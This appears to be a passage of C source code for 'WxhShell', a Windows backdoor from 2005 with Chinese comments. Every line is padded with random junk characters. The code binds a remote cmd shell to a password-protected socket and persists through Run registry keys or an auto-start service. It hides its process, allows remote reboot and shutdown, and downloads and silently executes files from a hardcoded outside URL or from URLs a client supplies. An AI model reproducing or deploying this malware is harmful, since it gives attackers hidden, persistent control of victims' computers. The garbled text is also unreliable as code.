    closesocket(wsh); ,J3s1 ]~^  
    ExitThread(0); Rt^~db  
    } @1UC9}>  
    break; ~Kr_[X:d5  
    } e0ea2 2  
  // 关机 7"c^$fj  
  case 'd': { N @24)g?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z[q#Dw  
    if(Boot(SHUTDOWN)) O-D${==  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [h GS*  
    else { mrgieb%  
    closesocket(wsh); KkJK5dZo  
    ExitThread(0); dO{a!Ca  
    } quPNwNy  
    break; _Bp{~-fO  
    } Qg\{d)X[N  
  // 获取shell SQ_w~'(  
  case 's': { Bi'qy]%  
    CmdShell(wsh); uGxh}'&  
    closesocket(wsh);  gh{Z=_  
    ExitThread(0); */ ~_3  
    break; vCB0 x:/  
  } NQx`u"=  
  // 退出 n7r )wy  
  case 'x': { bvK fxAih  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uFzvb0O`O  
    CloseIt(wsh); ?Thh7#7LM  
    break; ;MH<T6b  
    } 6/Pw'4H9$  
  // 离开 hrRkam !y  
  case 'q': { Ob"48{w$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l*`2 EJ  
    closesocket(wsh); MY[QYBkn}  
    WSACleanup(); ,'E+f%  
    exit(1); #H;yXsR `  
    break; y]5c!N %8  
        } j6NK 7Li  
  } 9 ^G. ]W]  
  } iIe\mV  
,1}c% C*,Q  
  // 提示信息 cM= ? {W7~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |NsrO8H   
} /i${[1  
  } 1I{^]]qw  
0pYCh$TL1  
  return; 7NY9UQ  
} _|!FhZ  
jgfl|;I?pg  
// shell模块句柄 w*E0f?s  
int CmdShell(SOCKET sock) Q>,EYb>wI  
{ L1'#wH  
STARTUPINFO si; xzqgem`[\  
ZeroMemory(&si,sizeof(si)); \,b@^W6e>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @.PVUP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lBbUA)z6  
PROCESS_INFORMATION ProcessInfo; Z;nbnRz  
char cmdline[]="cmd"; 'D B4po.   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xlw8> .\  
  return 0; 6WN1D W  
} /n9yv  
zj?^,\{A  
// 自身启动模式 mkR1iY  
int StartFromService(void) s C/5N  
{ ?W#>9WQi  
typedef struct RW#&f*  
{ 5L'bF2SI  
  DWORD ExitStatus; mr`Lxy9e  
  DWORD PebBaseAddress; y2>XLELy  
  DWORD AffinityMask; JwkMRO  
  DWORD BasePriority; 7(q EHZEr  
  ULONG UniqueProcessId; WxN@&g(  
  ULONG InheritedFromUniqueProcessId; V8aLPJ0_  
}   PROCESS_BASIC_INFORMATION; ((2 g  
NaR/IsN8%  
PROCNTQSIP NtQueryInformationProcess; 8op,;Z7Y  
ugZ-*e7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HW{si]~q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4! Cu>8B  
L=7 U#Q/DE  
  HANDLE             hProcess; VI}.MnCa  
  PROCESS_BASIC_INFORMATION pbi; Ux<2!vh  
tAPr4n!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (&=<UGY(w  
  if(NULL == hInst ) return 0; yEaim~  
E!~Ok  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "1<>c/h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bD&^-& G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qj?qWVapA  
-FAAP&LG  
  if (!NtQueryInformationProcess) return 0; Auq)  
rj.]M6#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | JmEI9n2  
  if(!hProcess) return 0; aaN|g{pX  
IEx`W;V]K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tn$/9<Q  
1@ e22\  
  CloseHandle(hProcess); ux[h\Tp  
rNdeD~\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BD)5br].  
if(hProcess==NULL) return 0; rQ^X3J*`  
y?ps+ce93  
HMODULE hMod; OZ/P@`kN.f  
char procName[255]; Pl@3=s!~>~  
unsigned long cbNeeded; f{b$Y3  
Z*Sa%yf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c k$ > yk  
aR iD}P*V  
  CloseHandle(hProcess); '8au j  
ZB+N[VJs)  
if(strstr(procName,"services")) return 1; // 以服务启动 ST#OO!  
(XQBBt  
  return 0; // 注册表启动 [hLSK-K 9  
} BCw5.@HK*  
x1gfo!BN  
// 主模块 -QUr|:SK:  
int StartWxhshell(LPSTR lpCmdLine) ?r~|B/ ]  
{ duCso M/  
  SOCKET wsl; m+f?+c6  
BOOL val=TRUE; M![aty@  
  int port=0; (QO8_  
  struct sockaddr_in door; gUfLw  
nLA8Hy"8z  
  if(wscfg.ws_autoins) Install(); %n^jho5  
/M:R|91:_  
port=atoi(lpCmdLine); %0>DjzYt  
$ BEIG@qG  
if(port<=0) port=wscfg.ws_port; e{ce \  
EFb1Y{u^\!  
  WSADATA data; ,a:!"Z^ f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \S[7-:Lu^  
E>/kNl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .L,xqd[zC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N36<EHq  
  door.sin_family = AF_INET; C q/936`O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SR,id B&i  
  door.sin_port = htons(port); -~nU&$ccL  
Hs%;uyI@$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ])d_B\)Kck  
closesocket(wsl); E]^wsS>=  
return 1; px@:t}  
} q,#j *  
l?F&I.{J  
  if(listen(wsl,2) == INVALID_SOCKET) { xQ4'$rL1d  
closesocket(wsl); ^)r^k8y'  
return 1; :8}iZ.  
} [fN?=,8  
  Wxhshell(wsl); "pb$[*_@$  
  WSACleanup();  mN>7vJ  
eR'Df" +  
return 0; nUAoPE  
uXs.7+f  
} %i7bkdcwk  
-`z`K08sT  
// 以NT服务方式启动 d)'am 3Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F %OA  
{ D1&%N{  
DWORD   status = 0; =j%B`cJ66_  
  DWORD   specificError = 0xfffffff; 9<0p1WO  
.hYrE5\-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `+IB;G1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0JQ0lzk1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K#j<G]I( @  
  serviceStatus.dwWin32ExitCode     = 0; LX%K*nlj  
  serviceStatus.dwServiceSpecificExitCode = 0; ZI'MfkEZ*  
  serviceStatus.dwCheckPoint       = 0; )!h(oR  
  serviceStatus.dwWaitHint       = 0; `rt  
Yx- 2ux  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0mJvoz\j8  
  if (hServiceStatusHandle==0) return; K;%P_f/KJP  
E7A psi4]  
status = GetLastError(); k7rFbrL Z  
  if (status!=NO_ERROR) % D]vKv~<  
{ zTDB]z!A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?(9/V7HQ.5  
    serviceStatus.dwCheckPoint       = 0; t> D|1E"  
    serviceStatus.dwWaitHint       = 0; %SKp<>;9  
    serviceStatus.dwWin32ExitCode     = status; Uu~7+oaQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; <h(KI Y9T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tx$kD2  
    return; P8tpbdZE-  
  } l+6y$2QR  
%9,:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o,| LO$~  
  serviceStatus.dwCheckPoint       = 0; 9(;5!q,Gsg  
  serviceStatus.dwWaitHint       = 0;  ~F?vf@k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }?"}R<F|M,  
} ]*I:N  
Z`5jX;Z!  
// 处理NT服务事件,比如:启动、停止 X$o$8s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oF1{/ERS  
{ Ekb9=/  
switch(fdwControl) ~H[  
{ _ZM$&6EC  
case SERVICE_CONTROL_STOP: {Y>5 [gp  
  serviceStatus.dwWin32ExitCode = 0; G ZxM44fP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a;=)`  
  serviceStatus.dwCheckPoint   = 0; 6jv_j[[  
  serviceStatus.dwWaitHint     = 0; d~bZOy  
  { XLEEd?Vct9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >s 4"2X  
  } U(lcQC`$  
  return; ~U] "dbQ  
case SERVICE_CONTROL_PAUSE: +_.k\CRms  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :}QBrd  
  break; 4CO"> :  
case SERVICE_CONTROL_CONTINUE: _lWC)bv`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [E9V#J89  
  break; v'R{lXE  
case SERVICE_CONTROL_INTERROGATE: kq;1Ax0 {  
  break; P}So>P~2  
}; ^*CvKCS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DuESLMhz  
} 3NI3b-7  
pkW }\r  
// 标准应用程序主函数 3V)ef$Y0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8nt3S m  
{ iD*%' #u  
7Hghn"ol  
// 获取操作系统版本 "gm[q."n<  
OsIsNt=GetOsVer(); C,*3a`/2M^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HGuU6@~hu  
!+sC'/  
  // 从命令行安装 RMinZ}/  
  if(strpbrk(lpCmdLine,"iI")) Install(); s)Gnj;  
bYPkqitqz  
  // 下载执行文件 nkI+"$Rz0  
if(wscfg.ws_downexe) { _n6ge*,E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8Ld`$_E  
  WinExec(wscfg.ws_filenam,SW_HIDE); j -l#n&M  
} 9Fo00"q  
L1'PQV  
if(!OsIsNt) { ;^XF;zpg  
// 如果时win9x,隐藏进程并且设置为注册表启动 T1$fu(f  
HideProc(); BZS%p  
StartWxhshell(lpCmdLine); |l4tR  
} K|i:tHF]@  
else V=$ pXpro%  
  if(StartFromService()) st- z>}  
  // 以服务方式启动 hv)>HU&  
  StartServiceCtrlDispatcher(DispatchTable); w}8 ,ICL  
else [/h3HyZ.  
  // 普通方式启动 9v\x&h  
  StartWxhshell(lpCmdLine); vY 0EffZ  
i D6f/|g  
return 0; -L4fp  
} Nk.m$  
7a$K@iWU  
vbt0G-%Z  
"_LDs(&  
=========================================== Rz sgPk  
o,-p[1b  
;rggO0Y  
jeKqS  
|j 9d.M  
<z'Pj7c[  
" \ a#{Y/j3  
6?;U[eV  
#include <stdio.h> % G'{G  
#include <string.h> 4>x$I9^Y!  
#include <windows.h> /"(`oe<  
#include <winsock2.h> 1X8P v*,  
#include <winsvc.h> y4\(ynk  
#include <urlmon.h> JfOBZQ  
6o5NeKZ  
#pragma comment (lib, "Ws2_32.lib") +9^V9]{Vo  
#pragma comment (lib, "urlmon.lib") Vy.gr4Cm  
EZ,Tc ;f=  
#define MAX_USER   100 // 最大客户端连接数 /M,C%.-  
#define BUF_SOCK   200 // sock buffer yL2sce[  
#define KEY_BUFF   255 // 输入 buffer {GH0> 1&  
'99rXw  
#define REBOOT     0   // 重启 Zz,j,w0 Z  
#define SHUTDOWN   1   // 关机 d}RU-uiW  
O]-)?y/  
#define DEF_PORT   5000 // 监听端口 #EG W76 f  
JXx[e  
#define REG_LEN     16   // 注册表键长度 Mb!b0  
#define SVC_LEN     80   // NT服务名长度 OLH[F  
3_DwqZ 'O  
// 从dll定义API 8O[br@h:5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;J uBybJb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #QUQC2P(~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sg&0a$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e/7rr~"|  
lU\v8!Ji  
// wxhshell配置信息 |o@xWs@m  
struct WSCFG { Y>J$OA:  
  int ws_port;         // 监听端口 q1a*6*YB  
  char ws_passstr[REG_LEN]; // 口令 {4F=].!  
  int ws_autoins;       // 安装标记, 1=yes 0=no QZh#&Qf;  
  char ws_regname[REG_LEN]; // 注册表键名 +g9C klJ  
  char ws_svcname[REG_LEN]; // 服务名 <)68ol~<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ym_w09   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Ut4INV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )%+7"7.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /f*QxNZ,p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }'KHF0   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vE~>9  
:5'8MU  
}; |F}6Zv  
4)Bk:K  
// default Wxhshell configuration ^g'P H{68  
struct WSCFG wscfg={DEF_PORT, 5i0vli /L  
    "xuhuanlingzhe", 7DZZdH$Fm  
    1, YHp]O+c  
    "Wxhshell", e0"80"D  
    "Wxhshell", g1H$wU3eu  
            "WxhShell Service", APJVD-  
    "Wrsky Windows CmdShell Service", v:IpZ;^  
    "Please Input Your Password: ", iW?z2%#  
  1, <"hq}B  
  "http://www.wrsky.com/wxhshell.exe", i|xC#hV  
  "Wxhshell.exe" ^|(VI0KO  
    }; u =lsH  
[ZL<Q  
// 消息定义模块 @!*I mNMI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _ZE&W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4t 0p!IxG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _Mi*Fvj  
char *msg_ws_ext="\n\rExit."; > .K  
char *msg_ws_end="\n\rQuit."; )  D5JA`  
char *msg_ws_boot="\n\rReboot..."; $U"pdf  
char *msg_ws_poff="\n\rShutdown..."; :)F0~Q  
char *msg_ws_down="\n\rSave to "; 8(]q/g"O  
i7mo89S  
char *msg_ws_err="\n\rErr!"; QsBC[7<jd-  
char *msg_ws_ok="\n\rOK!"; T~ P<Gq} ,  
k54b@U52 h  
char ExeFile[MAX_PATH]; Lb~' I=9D  
int nUser = 0; $mxl&Qr>Q;  
HANDLE handles[MAX_USER]; $ncP#6  
int OsIsNt; XrJLlH>R4  
MaZVGrcC  
SERVICE_STATUS       serviceStatus; hVNT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  Q!(qb  
lL,0IfC,  
// 函数声明 4'y@ne}g!  
int Install(void); |?v+8QL,;t  
int Uninstall(void); #&Rx?V  
int DownloadFile(char *sURL, SOCKET wsh); Y+gNi_dE  
int Boot(int flag); W$J@|i  
void HideProc(void); h>A~yDT[  
int GetOsVer(void); AG|:mQO  
int Wxhshell(SOCKET wsl); /k KVIlO  
void TalkWithClient(void *cs); zh5ovA%  
int CmdShell(SOCKET sock); F.AP)`6+*  
int StartFromService(void); P:UR:y([  
int StartWxhshell(LPSTR lpCmdLine); x_- SAyH  
ywj'O e41  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~<"{u-q#K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7*r!-$  
,L; y>::1  
// 数据结构和表定义 nnTiu,2R  
SERVICE_TABLE_ENTRY DispatchTable[] = A3|X`X  
{ qmtH0I7)  
{wscfg.ws_svcname, NTServiceMain}, WH<\f |xR  
{NULL, NULL} f%yNq6l  
}; (8(P12l  
<m*j1|^{t  
// 自我安装 >6|Xvtf  
int Install(void) %?J-0  
{ ZQyXzERp  
  char svExeFile[MAX_PATH]; zor  
  HKEY key; (d['f]S+&  
  strcpy(svExeFile,ExeFile); Wu)An  
SqVh\Nn  
// 如果是win9x系统,修改注册表设为自启动 ' /3\bvZ  
if(!OsIsNt) { lt%9Zgr[u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctR ^"'u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7)BK&kpVr  
  RegCloseKey(key); c1<jY~U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sc:)H2k`$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1cV0TUrz  
  RegCloseKey(key); Y]Zp[!  
  return 0; UPkc-^BN  
    } bQHJ}aCi  
  } s qO$ka{  
} ,vB nr_D#  
else { :M.]-+(  
B3p79 j  
// 如果是NT以上系统,安装为系统服务 GmZ2a-M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :q$.=?X3  
if (schSCManager!=0) %1 rN6A!%  
{ ,qIut|C*  
  SC_HANDLE schService = CreateService eIbz`|%3  
  ( .#LHj}u  
  schSCManager, W{t- UK   
  wscfg.ws_svcname, ^ R3g7 DG  
  wscfg.ws_svcdisp, !!6g<S7)  
  SERVICE_ALL_ACCESS, H<   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GK{~n  
  SERVICE_AUTO_START, foe)_  
  SERVICE_ERROR_NORMAL, `~1#X  
  svExeFile, *LQt=~  
  NULL, e09QaY  
  NULL, "sed{?  
  NULL, X\5EF7:S  
  NULL, gH0Rd WX  
  NULL _8wT4|z5  
  ); .K+5k`kd  
  if (schService!=0) X3l6b+p  
  { rfOrh^  
  CloseServiceHandle(schService); yJ!,>OQ%'  
  CloseServiceHandle(schSCManager); <o@__l.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {<Xl57w-Q  
  strcat(svExeFile,wscfg.ws_svcname); ZFtN~Tg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h_B  nQZ\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Efu/v<  
  RegCloseKey(key); |9mGX9q  
  return 0; P UC:Pl77  
    } ;W3c|5CE  
  } 6\x/Z=}L  
  CloseServiceHandle(schSCManager); ?$=Ml$  
} CL5t6D9Qi  
} \j0016;  
nr%P11U\c  
return 1; c22L]Sxo  
} dl+c+w"  
wdRk+  
// 自我卸载 >viLvDng  
int Uninstall(void) o:@A%*jg  
{ X + B=?|M  
  HKEY key; l>pnY%(A  
T/q*k)IoR  
if(!OsIsNt) { &_3o1<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <H|]^An!H  
  RegDeleteValue(key,wscfg.ws_regname); Ca3 {e1  
  RegCloseKey(key); UM. Se(kS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q]v{o8:U  
  RegDeleteValue(key,wscfg.ws_regname); 2 '8I/>-  
  RegCloseKey(key); Sv[+~co<l  
  return 0; Obc wmL  
  } {mA#'75a#  
} M2M&L,/O  
} /?S,u,R  
else { "gt*k#  
c/,B?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u4Z Accj  
if (schSCManager!=0) !lI1jb"  
{ <\L=F8[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L F!S`|FF  
  if (schService!=0) MYUL y2)  
  { muKjeg'b  
  if(DeleteService(schService)!=0) { (~^KXJ{->  
  CloseServiceHandle(schService); 7+m.:~H3}  
  CloseServiceHandle(schSCManager); FeJKXYbk<  
  return 0; ^;;gPhhWV  
  } Fb^,%K:  
  CloseServiceHandle(schService); 8CRwHDB  
  } F ZfhiIf  
  CloseServiceHandle(schSCManager); ^Fwdi#g  
} 8%;]]{(B  
} h[gKyxZ/t  
&usum~@  
return 1; 9iGp0_J  
} )>!y7/3  
B &)wJG  
// 从指定url下载文件 ;z9U_  
int DownloadFile(char *sURL, SOCKET wsh) hD7Lgi-N)W  
{ f1I/aRV:+  
  HRESULT hr; da$ErN '{  
char seps[]= "/"; _x<7^^VT  
char *token; 0fx.n  
char *file; kQ.3J.Q5  
char myURL[MAX_PATH]; !D 9V9p  
char myFILE[MAX_PATH]; =]-D_$S~  
uD:tT ~  
strcpy(myURL,sURL); )"s(;kU!  
  token=strtok(myURL,seps); 0;"  >.  
  while(token!=NULL) O_Z   
  { n ZzGak  
    file=token; =]0AZ  
  token=strtok(NULL,seps); u@kr;^m  
  } l8d }g  
YF13&E2`\  
GetCurrentDirectory(MAX_PATH,myFILE); <X]dR 6FT  
strcat(myFILE, "\\"); oTf^-29d  
strcat(myFILE, file); |]OI)w*  
  send(wsh,myFILE,strlen(myFILE),0); ,h'omU7  
send(wsh,"...",3,0); vVH*\&H\T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7@ mP;K0  
  if(hr==S_OK) rv %^2h<&  
return 0; S[RVk=A1  
else 8&v%>wxR@  
return 1; {Pe+d3Eoo  
bYy7Ul6]  
} p;LF-R  
:JzJ(q/  
// 系统电源模块 ''B}^yKEW  
int Boot(int flag) kDWvjT  
{ n<MreKixE  
  HANDLE hToken; :SVWi}:Co1  
  TOKEN_PRIVILEGES tkp; 8z* /J=n  
g y1i%  
  if(OsIsNt) { \_|r>vQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &(A'uX.>pr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kSO:xS0 _N  
    tkp.PrivilegeCount = 1; ?^ `EI}g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Med0O~T%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a`zw5  
if(flag==REBOOT) { * v u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ tqDh(  
  return 0; 'h;x>r  
} ]PZ\N~T  
else { .q9i10C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F vHd `  
  return 0; H)i%\7F5  
} PYW>  
  } CR`}{?2H  
  else { RTeG\U  
if(flag==REBOOT) { ]s~%1bd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %s[ n2w  
  return 0; ]f3R;d  
} KJ8Qi+cZ  
else { r<-@.$lf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #l_hiD`;r  
  return 0; /` 4B-Y4M4  
} k_7agW  
} cy#N(S[ 1  
]o*-|[^?  
return 1; D,, x<JG|  
} -P=Hp/ELi  
9E]7Etfw  
// win9x进程隐藏模块 NU!B|l  
void HideProc(void) O:W4W=K  
{ d# q8-  
&BQ%df<y\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LArfX,x3i  
  if ( hKernel != NULL ) Vc| uQ8Mi  
  { |&H(skF_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z|i2M8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XB\n4 |4  
    FreeLibrary(hKernel); .l~g`._  
  } /SQ1i}%  
uzWz+atH  
return; G>0 hi1  
} [USE&_RN  
u YJL^I8M'  
// 获取操作系统版本 [7gwJiK  
int GetOsVer(void) + xRSd *  
{ gqan]b_  
  OSVERSIONINFO winfo; v6+<F;G3y>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wM&WR2  
  GetVersionEx(&winfo); kIYV%O   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &p:GB_  
  return 1; N!^5<2z@eT  
  else kS$m$ D  
  return 0; a1# 'uS9W  
} ;U$EM+9  
]$?\,`  
// 客户端句柄模块 f)!7/+9>  
int Wxhshell(SOCKET wsl) %R LGO&  
{ f2RIOL,  
  SOCKET wsh; o:Q.XWa@MG  
  struct sockaddr_in client; jd?NN:7  
  DWORD myID; {-)*.l=  
x>~.cey  
  while(nUser<MAX_USER) Q1?0 ]5  
{ y`.m'n7>P  
  int nSize=sizeof(client); ^ ]CQd   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U Zc%XZ`"V  
  if(wsh==INVALID_SOCKET) return 1; [49Ae2W`  
${)s ~[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hDHIi\%  
if(handles[nUser]==0) # dxS QmG  
  closesocket(wsh); txXt<]N  
else 9EKc{1 z  
  nUser++; 6`;+|H<$  
  } HVK./y qy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :_"%o=  
yaKw/vV  
  return 0; bcC+af0L  
} Ve^rzGU  
j\.\ePmk]  
// 关闭 socket sn?YD'>k  
void CloseIt(SOCKET wsh) HrS  
{ 6$6Qk !%  
closesocket(wsh); (w{C*iB  
nUser--; +2S#3m?1  
ExitThread(0); )90K^$93"  
} R SqO$~  
'or8CGr^p  
// 客户端请求句柄 !`EhVV8u-_  
void TalkWithClient(void *cs) )NCkq~M  
{ 'ai!6[|SD  
DX%D8atrr  
  SOCKET wsh=(SOCKET)cs; SHT^Etri  
  char pwd[SVC_LEN]; <P4*7:jX  
  char cmd[KEY_BUFF]; cWNWgdk,`V  
char chr[1]; Tx\g5rk  
int i,j; Seb J}P1x  
N_),'2  
  while (nUser < MAX_USER) { Ig M_l=  
F(#~.i  
if(wscfg.ws_passstr) { AV*eGzz`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m5rJY/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !_SIq`5]@  
  //ZeroMemory(pwd,KEY_BUFF); ;l>C[6]  
      i=0; bem-T`>'  
  while(i<SVC_LEN) { kw.IVz<  
y OLqIvN  
  // 设置超时 BbdJR]N/!h  
  fd_set FdRead; &i%1\ o  
  struct timeval TimeOut; ccu13Kr>E  
  FD_ZERO(&FdRead); -!b@\=  
  FD_SET(wsh,&FdRead); @CU~3Md*  
  TimeOut.tv_sec=8; y:3d`E4Xw  
  TimeOut.tv_usec=0; [Y=X^"PF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,,KGcDBj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -S,xR5  
!@vM@Z"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {-?8r>  
  pwd=chr[0]; &\/b(|>  
  if(chr[0]==0xd || chr[0]==0xa) { 8x9$6HO  
  pwd=0; {IpIQ-@l  
  break; 1-bQ ( -  
  } 2?bE2^6  
  i++; +|=5zWI /  
    } 7yK1Q_XY>  
8${Yu  
  // 如果是非法用户,关闭 socket eX@7f!uz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J \V.J/  
} 3Ta<7tEM  
Cq-#| +zr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .6D9m.Q,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }lzN)e  
]9}T)D f'  
while(1) { `bF] O"  
Y?>us  
  ZeroMemory(cmd,KEY_BUFF); A, )G$yT\  
] 336FgT  
      // 自动支持客户端 telnet标准   "Nn+Zw43  
  j=0; )QvuoaJQ  
  while(j<KEY_BUFF) { G]- wN7G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MlM2(/ok  
  cmd[j]=chr[0]; ;y{VdT  
  if(chr[0]==0xa || chr[0]==0xd) { :9Vd=M6,  
  cmd[j]=0; +e6c4Tw/  
  break; 2!4.L&Ki  
  } '#b7Z?83C  
  j++; _7M!b 9oA  
    } ToB^/ n[  
5@{+V!o,  
  // 下载文件 Mn=5yU  
  if(strstr(cmd,"http://")) { +.b@rU6H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )5Bkm{v3  
  if(DownloadFile(cmd,wsh)) a}w%k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); khW9n*  
  else X0.-q%5  
